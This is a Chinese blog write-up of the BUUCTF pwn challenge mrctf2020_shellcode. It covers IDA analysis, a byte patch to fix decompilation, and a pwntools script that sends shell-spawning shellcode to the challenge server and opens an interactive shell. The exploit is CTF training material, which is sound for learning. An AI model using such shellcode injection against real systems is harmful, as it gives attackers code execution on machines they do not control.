BUUCTF pwn——mrctf2020_shellcode

最新推荐文章于 2025-03-11 13:09:32 发布

Captain杰派罗

最新推荐文章于 2025-03-11 13:09:32 发布

阅读量325

点赞数 1

分类专栏： [个人向]做题练习WP 文章标签：网络安全

本文链接：https://blog.youkuaiyun.com/weixin_45770420/article/details/130613985

版权

[个人向]做题练习WP 专栏收录该内容

72 篇文章

订阅专栏

文章描述了一个pwn类型的挑战，通过ida分析二进制文件的main函数，发现存在安全限制，但可以利用shellcode。作者使用ida进行反编译时遇到错误，然后通过patch程序改变字节以避免错误，并提供了python脚本进行远程或本地的exploit执行，目标是获取shell并读取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

checksec

在这里插入图片描述

运行

直接输入就行
在这里插入图片描述

ida

`main`函数

read限制了长度，没有超过buf的大小，不存在溢出
由题，可以直接放shellcode试试
在这里插入图片描述

反编译报错：Decompilation failure: 11DD call analysis failed

如图
在这里插入图片描述

1. 跳转到地址

在这里插入图片描述

2. Patch program（修补程序）→Change byte（单字节修改）

将前两对十六进制改成90 90之类
在这里插入图片描述

然后，可以F5了

可以自己在原汇编和f5处加入注释，提示原来是什么
在这里插入图片描述

利用思路

ret2shellcode

代码

'''
@Author       : 白银
@Date         : 2023-05-11 08:50:24
@LastEditors  : 白银
@LastEditTime : 2023-05-11 08:52:25
@FilePath     : /pwn/mrctf2020_shellcode.py
@Description  : https://buuoj.cn/challenges#mrctf2020_shellcode
@Attention    : 
@Copyright (c) 2023 by 白银 captain-jparrow@qq.com, All Rights Reserved. 
'''

from pwn import *
# from libcfind import *

set_arch = 0  # set_arch中，int，0→amd64，1→arm64，2→i386
pwnfile = './mrctf2020_shellcode'  # pwnfile， str，二进制文件
if_remote = 1  # if_remote，int，1→远程，别的数字→本地
# 打本地，if_remote改别的数字就可以，最后两个参数随便改

# set_arch = 0
if set_arch == 0:
    context(log_level='debug', arch='amd64', os='linux')
elif set_arch == 1:
    context(log_level='debug', arch='arm64', os='linux')
elif set_arch == 2:
    context(log_level='debug', arch='i386', os='linux')

print(context)
# context(log_level='debug', arch='i386', os='linux')
# pwnfile = './pwn1'
elf = ELF(pwnfile)

if if_remote == 1:
    # io = remote("192.168.61.139", 8888)
    # io = remote(remote_addr, remote_port)
    io = remote("node4.buuoj.cn", 27184)
    # libc = ELF('/home/usrname/Desktop/libc.so.6')
    if set_arch == 0 or set_arch == 1:
        libc = elf.libc
        # libc = ELF('/home/usrname/Desktop/libc-2.23.so')
        # libc = ELF('/home/usrname/Desktop/2.23x64libc.so.6')
    else:
        libc = elf.libc
        # libc = ELF('/home/usrname/Desktop/libc-2.23.so')
        # libc = ELF('/home/usrname/Desktop/2.23x86libc.so.6')
else:
    io = process(pwnfile)
    # 本地用
    # elf = ELF(pwnfile)
    libc = elf.libc
    # libc = ELF('/home/usrname/Desktop/libc-2.23.so')
    rop = ROP(pwnfile)
    # 本地调试用
    gdb.attach(io)
    pause()

payload = flat([asm(shellcraft.sh())])
io.sendlineafter('Show me your magic!', payload)

io.interactive()